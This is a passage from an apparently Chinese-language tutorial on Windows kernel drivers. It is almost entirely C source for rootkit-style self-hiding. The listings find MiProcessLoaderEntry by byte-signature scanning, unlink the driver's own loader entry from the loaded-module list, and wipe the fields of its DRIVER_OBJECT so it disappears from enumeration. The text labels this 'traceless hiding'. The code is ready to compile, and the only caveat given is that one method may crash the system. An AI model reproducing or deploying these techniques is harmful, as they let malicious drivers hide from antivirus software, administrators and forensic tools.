MiUnloadSystemImageAddress = *(LONG*)StartAddress + StartAddress +4;
break;
}
++StartAddress;
}
if (MiUnloadSystemImageAddress != 0)
return MiUnloadSystemImageAddress;
return 0;
}
// 特征定位 MiProcessLoaderEntry
MiProcessLoaderEntry GetMiProcessLoaderEntry(ULONG64 StartAddress){
if (StartAddress == 0)
return NULL;
while (StartAddress < StartAddress + 0x600){
// 操作数MiProcessLoaderEntry内存地址是动态变化的
/*
kd> uf MiUnloadSystemImage
fffff801`377fed19 33d2      xor   edx,edx
fffff801`377fed1b 488bcb     mov   rcx,rbx
fffff801`377fed1e e84162b4ff   call  nt!MiProcessLoaderEntry
(fffff801`37344f64)
fffff801`377fed23 8b05d756f7ff  mov   eax,dword ptr [nt!PerfGlobalGroupMask (fffff801`37774400)]
fffff801`377fed29 a804      test  al,4
fffff801`377fed2b 7440      je  
nt!MiUnloadSystemImage+0x3ed (fffff801`377fed6d) Branch
E8 call | 8B 05 mov eax
*/
// fffff801`377fed1e  | fffff801`377fed23
// 判断特征 0xE8(call) | 0x8B 0x05(mov eax)
if (*(UCHAR*)StartAddress == 0xE8 && *(UCHAR*)(StartAddress + 5) ==0x8B && *(UCHAR*)(StartAddress + 6) == 0x05){
// 跳过一个字节call的E8
StartAddress++;
// StartAddress + 1 + 4
return (MiProcessLoaderEntry)(*(LONG*)StartAddress + StartAddress +4);
}
++StartAddress;
}
return NULL;
}
VOID UnDriver(PDRIVER_OBJECT driver){
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath){
ULONG64 MiUnloadSystemImageAddress = GetMiUnloadSystemImageAddress();
DbgPrint("MiUnloadSystemImageAddress = %p \n", MiUnloadSystemImageAddress);
MiProcessLoaderEntry MiProcessLoaderEntryAddress =GetMiProcessLoaderEntry(MiUnloadSystemImageAddress);
DbgPrint("MiProcessLoaderEntryAddress = %p \n",(ULONG64)MiProcessLoaderEntryAddress);
Driver->DriverUnload = UnDriver;
return STATUS_SUCCESS;
}

然后直接破坏掉自身驱动的入口地址等,可实现自身隐藏:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#include <ntddk.h>
#include <ntstrsafe.h>
typedef NTSTATUS(*NTQUERYSYSTEMINFORMATION)(
IN ULONG SystemInformationClass,
OUT PVOID  SystemInformation,
IN ULONG_PTR   SystemInformationLength,
OUT PULONG_PTR  ReturnLength OPTIONAL
);
NTSYSAPI NTSTATUS NTAPI ObReferenceObjectByName(
__in PUNICODE_STRING ObjectName,
__in ULONG Attributes,
__in_opt PACCESS_STATE AccessState,
__in_opt ACCESS_MASK DesiredAccess,
__in POBJECT_TYPE ObjectType,
__in KPROCESSOR_MODE AccessMode,
__inout_opt PVOID ParseContext,
__out PVOID* Object
);
typedef struct _SYSTEM_MODULE_INFORMATION{
HANDLE Section;
PVOID MappedBase;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct _LDR_DATA_TABLE_ENTRY{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID    DllBase;
PVOID    EntryPoint;
}LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
extern POBJECT_TYPE* IoDriverObjectType;
typedef NTSTATUS(__fastcall* MiProcessLoaderEntry)(PVOID pDriverSection, BOOLEAN bLoad);
ULONG64 MiUnloadSystemImageAddress = 0;
// 取出指定函数地址
PVOID GetProcAddress(WCHAR* FuncName){
UNICODE_STRING u_FuncName = { 0 };
PVOID ref = NULL;
RtlInitUnicodeString(&u_FuncName, FuncName);
ref = MmGetSystemRoutineAddress(&u_FuncName);
if (ref != NULL)
return ref;
return ref;
}
// 特征定位 MiUnloadSystemImage
ULONG64 GetMiUnloadSystemImageAddress(){
CHAR MmUnloadSystemImage_Code[] ="\x83\xCA\xFF\x48\x8B\xCF\x48\x8B\xD8\xE8";
ULONG_PTR MmUnloadSystemImageAddress = 0;
ULONG_PTR MiUnloadSystemImageAddress = 0;
ULONG_PTR StartAddress = 0;
MmUnloadSystemImageAddress =(ULONG_PTR)GetProcAddress(L"MmUnloadSystemImage");
if (MmUnloadSystemImageAddress == 0)
return 0;
// 在MmUnloadSystemImage中搜索特征码寻找MiUnloadSystemImage
StartAddress = MmUnloadSystemImageAddress;
while (StartAddress < MmUnloadSystemImageAddress + 0x500){
if (memcmp((VOID*)StartAddress, MmUnloadSystemImage_Code,strlen(MmUnloadSystemImage_Code)) == 0){
StartAddress += strlen(MmUnloadSystemImage_Code);
MiUnloadSystemImageAddress = *(LONG*)StartAddress + StartAddress + 4;
break;
}
++StartAddress;
}
if (MiUnloadSystemImageAddress != 0)
return MiUnloadSystemImageAddress;
return 0;
}
// 特征定位 MiProcessLoaderEntry
MiProcessLoaderEntry GetMiProcessLoaderEntry(ULONG64 StartAddress){
if (StartAddress == 0)
return NULL;
while (StartAddress < StartAddress + 0x600){
if (*(UCHAR*)StartAddress == 0xE8 && *(UCHAR*)(StartAddress + 5) == 0x8B &&*(UCHAR*)(StartAddress + 6) == 0x05){
StartAddress++;
return (MiProcessLoaderEntry)(*(LONG*)StartAddress + StartAddress + 4);
}
++StartAddress;
}
return NULL;
}
// 根据驱动名获取驱动对象
BOOLEAN GetDriverObjectByName(PDRIVER_OBJECT* DriverObject, WCHAR* DriverName){
PDRIVER_OBJECT TempObject = NULL;
UNICODE_STRING u_DriverName = { 0 };
NTSTATUS Status = STATUS_UNSUCCESSFUL;
RtlInitUnicodeString(&u_DriverName, DriverName);
Status = ObReferenceObjectByName(&u_DriverName, OBJ_CASE_INSENSITIVE, NULL,0, *IoDriverObjectType, KernelMode, NULL, &TempObject);
if (!NT_SUCCESS(Status)){
*DriverObject = NULL;
return FALSE;
}
*DriverObject = TempObject;
return TRUE;
}
BOOLEAN SupportSEH(PDRIVER_OBJECT DriverObject){
PDRIVER_OBJECT Object = NULL;
PLDR_DATA_TABLE_ENTRY LdrEntry = NULL;
GetDriverObjectByName(&Object, L"\\Driver\\tdx");
if (Object == NULL)
return FALSE;
// 将获取到的驱动对象节点赋值给自身LDR
LdrEntry = (PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection;
LdrEntry->DllBase = Object->DriverStart;
ObDereferenceObject(Object);
return TRUE;
}
VOID InitInLoadOrderLinks(PLDR_DATA_TABLE_ENTRY LdrEntry){
InitializeListHead(&LdrEntry->InLoadOrderLinks);
InitializeListHead(&LdrEntry->InMemoryOrderLinks);
}
VOID Reinitialize(PDRIVER_OBJECT DriverObject, PVOID Context, ULONG Count){
MiProcessLoaderEntry m_MiProcessLoaderEntry = NULL;
ULONG* p = NULL;
m_MiProcessLoaderEntry =GetMiProcessLoaderEntry(MiUnloadSystemImageAddress);
if (m_MiProcessLoaderEntry == NULL)
return;
SupportSEH(DriverObject);
m_MiProcessLoaderEntry(DriverObject->DriverSection, 0);
InitInLoadOrderLinks((PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection);
// 破坏驱动对象特征
DriverObject->DriverSection = NULL;
DriverObject->DriverStart = NULL;
DriverObject->DriverSize = 0;
DriverObject->DriverUnload = NULL;
DriverObject->DriverInit = NULL;
DriverObject->DeviceObject = NULL;
}
VOID UnDriver(PDRIVER_OBJECT driver){
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath){
MiUnloadSystemImageAddress = GetMiUnloadSystemImageAddress();
MiProcessLoaderEntry MiProcessLoaderEntryAddress =GetMiProcessLoaderEntry(MiUnloadSystemImageAddress);
// 无痕隐藏
IoRegisterDriverReinitialization(Driver, Reinitialize, NULL);
Driver->DriverUnload = UnDriver;
return STATUS_SUCCESS;
}

上述方法可能导致蓝屏,还可用这种方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <ntifs.h>
HANDLE hThread;
VOID ThreadRun(PVOID StartContext){
LARGE_INTEGER times;
PDRIVER_OBJECT pDriverObject;
// 等待3秒 单位是纳秒
times.QuadPart = -30 * 1000 * 1000;
KeDelayExecutionThread(KernelMode, FALSE, &times);
pDriverObject = (PDRIVER_OBJECT)StartContext;
// 修改模块信息
pDriverObject->DriverSize = 0;
pDriverObject->DriverSection = NULL;
pDriverObject->DriverExtension = NULL;
pDriverObject->DriverStart = NULL;
pDriverObject->DriverInit = NULL;
pDriverObject->FastIoDispatch = NULL;
pDriverObject->DriverStartIo = NULL;
ZwClose(hThread);
}
VOID UnDriver(PDRIVER_OBJECT driver){
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath){
PLIST_ENTRY pModuleList;
pModuleList = Driver->DriverSection;
// 前一个模块的Flink=本模块的Flink
pModuleList->Blink->Flink = pModuleList->Flink;
// 前一个模块的Blink=本模块的Blink
pModuleList->Flink->Blink = pModuleList->Blink;
PsCreateSystemThread(&hThread, GENERIC_ALL, NULL, NULL, NULL, ThreadRun,Driver);
Driver->DriverUnload = UnDriver;
return STATUS_SUCCESS;
}